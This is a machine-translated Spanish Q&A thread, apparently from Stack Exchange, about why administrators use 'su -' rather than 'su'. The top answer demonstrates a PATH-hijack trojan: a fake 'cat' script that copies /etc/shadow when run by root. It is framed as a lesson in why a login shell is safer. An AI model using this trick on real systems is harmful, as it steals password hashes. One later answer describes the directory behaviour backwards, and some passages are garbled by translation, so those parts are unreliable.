¿Por qué usamos su - y no solo su?


Respuestas:


241

su -invoca un shell de inicio de sesión después de cambiar el usuario. Un shell de inicio de sesión restablece la mayoría de las variables de entorno, proporcionando una base limpia.

su simplemente cambia al usuario, proporcionando un shell normal con un entorno casi igual al del usuario anterior.

Imagínese, usted es un desarrollador de software con acceso de usuario normal a una máquina y su administrador ignorante simplemente no le dará acceso a la raíz. Vamos (con suerte) a engañarlo.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Ahora, le preguntas a tu administrador por qué no puedes catel archivo ficticio en tu carpeta de inicio, ¡simplemente no funcionará!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Si su administrador no es tan inteligente o simplemente un poco vago, puede venir a su escritorio y probar con sus poderes de superusuario:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

¡Guauu! Gracias, super administrador!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

El, el.

Quizás haya notado que la $PATHvariable corrupta no se restableció. Esto no hubiera sucedido si el administrador hubiera invocado en su su -lugar.


10
su --es el mismo que su.
Mikel

12
- es una bandera que la mayoría de los programas interpretan como "nada después de esto debe tomarse como una bandera". Útil para codiciar cosas que comienzan con un guión.
David Mackintosh

2
No olvide establecer un me umaskgusta 000 o no funcionará.
Lekensteyn

10
También se podría poner un suarchivo dentro de la RUTA. No es tan difícil imitar el comportamiento de lo real su. El superusuario ha sido descuidado de todos modos :-)
Stéphane Gimenez

10
su --NO es lo mismo que su -: --le dice a un manejador de opciones getopt (s) (o similar) que detenga el procesamiento de la línea de comando para otras opciones (útil, por ejemplo, si el resto contiene nombres de archivo que podrían comenzar con un '-'). Es decir, en "rm -i - f": -f se trata como un argumento regular, así que aquí como el nombre del archivo a rm -i, y no como un additionnal -fopción para el rmcomando. ¡Así su --es justo suy no su -! Por su --lo tanto , sería tan inseguro para el ejemplo (divertido e instructivo) givan de wag. Utilizar su -.
Olivier Dulac

35

su -inicia sesión completamente como root, mientras suque lo hace para que finjas ser root.

El ejemplo más obvio de esto es que ~es el directorio de inicio de root si lo usa su -, pero su propio directorio de inicio si lo usa su.

Dependiendo de su sistema, también puede significar diferencias en la solicitud PATHo en el archivo de historial.

Entonces, si usted es parte de un equipo que administra un sistema y su colega le da un comando para ejecutar, sabe que funcionará igual si ambos están usando su -, pero si ambos están usando su, puede haber diferencias debido a que tiene diferentes configuraciones de shell.

Por otro lado, si desea ejecutar un comando como root pero usando su propia configuración, entonces quizás susea ​​mejor para usted.

Además, no se olvide sudo, que tiene la -sopción de iniciar un shell que se ejecuta como root. Por supuesto, esto también tiene reglas diferentes, y cambian según la distribución que esté utilizando.


1
cuando "su" obtengo ~ y $ HOME ambos evaluando a / root. ¿El comportamiento que describe es específico de ciertos shells o versiones de SO o algo así? Tengo entendido que ~ puede ser expandido por el núcleo. Tengo zsh como mi shell (y el de la raíz).
JasonWoof

Su .bashrco /etc/bashrco /etc/profile.dsecuencias de comandos están estableciendo PATH. Busque if [ $UID -eq 0 ]o algo por el estilo.
Mikel

$USERpor ejemplo se deja sin cambios.
Peter

1
¿Qué hay de sudo su?
Simon Kuang

1
Tu ejemplo no funciona para mí. Obtengo el mismo directorio resuelto de cualquier manera.
Daniel

1

Uso su - cuando estoy en un directorio como usuario normal pero quiero cambiar a root y permanecer en el mismo directorio después del cambio. Cuando usa su, cambia al usuario a root y también lo lleva a / root, que es el directorio raíz de inicio.


O /o lo que sea que se defina como el directorio de inicio de la raíz
Jeff Schaller

-1

La principal diferencia es:

su - username configura el entorno de shell como si fuera un inicio de sesión limpio como el usuario especificado, accede y utiliza variables de entorno de usuarios especificados,

su username simplemente inicia un shell con la configuración actual del entorno para el usuario especificado.

Si el nombre de usuario no se especifica con suy su -, la cuenta raíz está implícita como predeterminada.

Al usar nuestro sitio, usted reconoce que ha leído y comprende nuestra Política de Cookies y Política de Privacidad.
Licensed under cc by-sa 3.0 with attribution required.